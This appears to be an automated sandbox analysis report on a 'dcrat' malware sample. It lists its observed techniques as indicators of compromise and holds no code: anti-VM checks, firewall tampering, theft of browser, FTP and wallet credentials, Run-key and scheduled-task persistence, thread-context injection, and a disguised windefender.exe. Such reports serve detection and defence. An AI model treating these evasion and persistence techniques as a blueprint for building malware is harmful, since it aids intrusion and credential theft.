dcrat | 84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799

Modify Registry

T1112

Processes:

explorer.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Modifies Windows Firewall 2 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exe

pid process

4284 netsh.exe

pid	process
4284	netsh.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

fi.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	fi.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	fi.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

RegAsm.exetmp.exenss4E12.tmpB96E.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	tmp.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	nss4E12.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	B96E.exe

Executes dropped EXE 28 IoCs

Processes:

InstallSetup9.exeWerFault.exe31839b57a4f11171d6abc8bbc4451ee4.exeBroomSetup.exerty25.exenss4E12.tmp31839b57a4f11171d6abc8bbc4451ee4.execsrss.exeinjector.exeRegAsm.exewindefender.exewindefender.exeB96E.exeB96E.exeB96E.exeB96E.exe5A42.exe6223.exefi.exeF83A.exeinjector.exeinjector.exeinjector.exeinjector.exeinjector.exe6889.exe6E56.exeinjector.exe

pid	process
1144	InstallSetup9.exe
1636	WerFault.exe
828	31839b57a4f11171d6abc8bbc4451ee4.exe
4840	BroomSetup.exe
1788	rty25.exe
4624	nss4E12.tmp
4412	31839b57a4f11171d6abc8bbc4451ee4.exe
2692	csrss.exe
1292	injector.exe
832	RegAsm.exe
2468	windefender.exe
3184	windefender.exe
2836	B96E.exe
1872	B96E.exe
372	B96E.exe
4500	B96E.exe
384	5A42.exe
4520	6223.exe
396	fi.exe
2080	F83A.exe
4612	injector.exe
2572	injector.exe
4028	injector.exe
4360	injector.exe
2940	injector.exe
1456	6889.exe
1604	6E56.exe
3680	injector.exe

Loads dropped DLL 7 IoCs

Processes:

InstallSetup9.exenss4E12.tmpRegAsm.exe

pid process

1144 InstallSetup9.exe
1144 InstallSetup9.exe
4624 nss4E12.tmp
4624 nss4E12.tmp
1144 InstallSetup9.exe
3124 RegAsm.exe
3124 RegAsm.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

4284 icacls.exe
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
4284	icacls.exe

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\fi.exe	themida
C:\Users\Admin\AppData\Local\Temp\fi.exe	themida
C:\Users\Admin\AppData\Local\Temp\fi.exe	themida

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\windefender.exe	upx
C:\Windows\windefender.exe	upx
behavioral2/memory/2468-454-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
C:\Windows\windefender.exe	upx
behavioral2/memory/3184-496-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/3184-507-0x0000000000400000-0x00000000008DF000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

Processes:

31839b57a4f11171d6abc8bbc4451ee4.execsrss.exeB96E.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\f17be81f-ff99-4bf8-8b44-2e7f86ee9d88\\B96E.exe\" --AutoStart"	B96E.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

fi.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA fi.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

102 raw.githubusercontent.com
103 raw.githubusercontent.com
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

55 api.2ip.ua
54 api.2ip.ua
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
rootkit evasion

Processes:

csrss.exe

description ioc process

File opened for modification \??\WinMonFS csrss.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	fi.exe

flow	ioc
102	raw.githubusercontent.com
103	raw.githubusercontent.com

flow	ioc
55	api.2ip.ua
54	api.2ip.ua

description	ioc	process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 7 IoCs

Processes:

powershell.exepowershell.exeWerFault.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	WerFault.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

fi.exe

pid process

396 fi.exe

pid	process
396	fi.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

B96E.exeB96E.exe5A42.exe6223.exeF83A.exeRegAsm.exe

description	pid	process	target process
PID 2836 set thread context of 1872	2836	B96E.exe	B96E.exe
PID 372 set thread context of 4500	372	B96E.exe	B96E.exe
PID 384 set thread context of 3008	384	5A42.exe	RegAsm.exe
PID 4520 set thread context of 3124	4520	6223.exe	RegAsm.exe
PID 2080 set thread context of 3176	2080	F83A.exe	RegAsm.exe
PID 3176 set thread context of 832	3176	RegAsm.exe	AddInProcess.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery
T1082

Processes:

31839b57a4f11171d6abc8bbc4451ee4.exe

description ioc process

File opened (read-only) \??\VBoxMiniRdrDN 31839b57a4f11171d6abc8bbc4451ee4.exe

description	ioc	process
File opened (read-only)	\??\VBoxMiniRdrDN	31839b57a4f11171d6abc8bbc4451ee4.exe

Drops file in Windows directory 4 IoCs

Processes:

csrss.exe31839b57a4f11171d6abc8bbc4451ee4.exe

description	ioc	process
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\rss	31839b57a4f11171d6abc8bbc4451ee4.exe
File created	C:\Windows\rss\csrss.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
File created	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exe

pid process

3684 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
3684	sc.exe

Program crash 52 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
1680	828	WerFault.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
4412	828	WerFault.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
1236	828	WerFault.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
2852	828	WerFault.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
5020	828	WerFault.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
2940	828	WerFault.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
4700	828	WerFault.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
4084	828	WerFault.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
3900	828	WerFault.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
4416	828	WerFault.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
3344	828	WerFault.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
3684	828	WerFault.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
4856	828	WerFault.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
4680	828	WerFault.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
2960	828	WerFault.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
4136	828	WerFault.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
2872	828	WerFault.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
4612	828	WerFault.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
1940	828	WerFault.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
4352	4412	WerFault.exe	WerFault.exe
4308	4412	WerFault.exe	WerFault.exe
3272	4412	WerFault.exe	WerFault.exe
3748	4412	WerFault.exe	WerFault.exe
3344	4412	WerFault.exe	WerFault.exe
3684	4412	WerFault.exe	WerFault.exe
4904	4412	WerFault.exe	WerFault.exe
3564	4412	WerFault.exe	WerFault.exe
3476	4412	WerFault.exe	WerFault.exe
4092	2692	WerFault.exe	csrss.exe
4668	2692	WerFault.exe	csrss.exe
1020	2692	WerFault.exe	csrss.exe
1584	2692	WerFault.exe	csrss.exe
4532	2692	WerFault.exe	csrss.exe
3300	2692	WerFault.exe	csrss.exe
1112	2692	WerFault.exe	csrss.exe
2464	2692	WerFault.exe	csrss.exe
2288	2692	WerFault.exe	csrss.exe
1936	2692	WerFault.exe	csrss.exe
4920	2692	WerFault.exe	csrss.exe
4552	4624	WerFault.exe	nss4E12.tmp
5040	2692	WerFault.exe	csrss.exe
3476	2692	WerFault.exe	csrss.exe
1460	2692	WerFault.exe	csrss.exe
3880	2692	WerFault.exe	csrss.exe
2552	2692	WerFault.exe	csrss.exe
4020	4500	WerFault.exe
2248	2692	WerFault.exe	csrss.exe
816	2692	WerFault.exe	csrss.exe
4056	2692	WerFault.exe	csrss.exe
996	2692	WerFault.exe	csrss.exe
4616	2692	WerFault.exe	csrss.exe
3576	2692	WerFault.exe	csrss.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

WerFault.exeRegAsm.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	WerFault.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	WerFault.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	RegAsm.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	RegAsm.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	RegAsm.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

nss4E12.tmpRegAsm.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	nss4E12.tmp
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	nss4E12.tmp
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

3184 schtasks.exe
1280 schtasks.exe
2476 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

1056 timeout.exe

pid	process
3184	schtasks.exe
1280	schtasks.exe
2476	schtasks.exe

pid	process
1056	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exewindefender.exe31839b57a4f11171d6abc8bbc4451ee4.exepowershell.exepowershell.exepowershell.exeWerFault.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-451 = "Caucasus Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-602 = "Taipei Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-631 = "Tokyo Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-11 = "Azores Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-501 = "Nepal Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-2631 = "Norfolk Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-2751 = "Tomsk Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-41 = "E. South America Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-352 = "FLE Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-191 = "Mountain Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-2322 = "Sakhalin Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-461 = "Afghanistan Daylight Time"	windefender.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WerFault.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WerFault.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-334 = "Jordan Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-621 = "Korea Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-302 = "Romance Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-2141 = "Transbaikal Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-261 = "GMT Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WerFault.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WerFault.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-531 = "Sri Lanka Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-2491 = "Aus Central W. Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-491 = "India Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-671 = "AUS Eastern Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-722 = "Central Pacific Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-12 = "Azores Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-2841 = "Saratov Daylight Time"	windefender.exe

Modifies registry class 7 IoCs

Processes:

explorer.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1232405761-1209240240-3206092754-1000\{DF3C6703-9787-4B39-B6A6-E6446A50B2CF}	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

WerFault.exepowershell.exenss4E12.tmp31839b57a4f11171d6abc8bbc4451ee4.exepowershell.exe

pid	process
1636	WerFault.exe
1636	WerFault.exe
4244	powershell.exe
4244	powershell.exe
4624	nss4E12.tmp
4624	nss4E12.tmp
3520
3520
3520
3520
828	31839b57a4f11171d6abc8bbc4451ee4.exe
828	31839b57a4f11171d6abc8bbc4451ee4.exe
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
1672	powershell.exe
3520
3520
1672	powershell.exe
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520
3520

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

WerFault.exeRegAsm.exe

pid process

1636 WerFault.exe
832 RegAsm.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exe31839b57a4f11171d6abc8bbc4451ee4.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4244	powershell.exe
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeDebugPrivilege	828	31839b57a4f11171d6abc8bbc4451ee4.exe
Token: SeImpersonatePrivilege	828	31839b57a4f11171d6abc8bbc4451ee4.exe
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeDebugPrivilege	1672	powershell.exe
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeDebugPrivilege	2504	powershell.exe
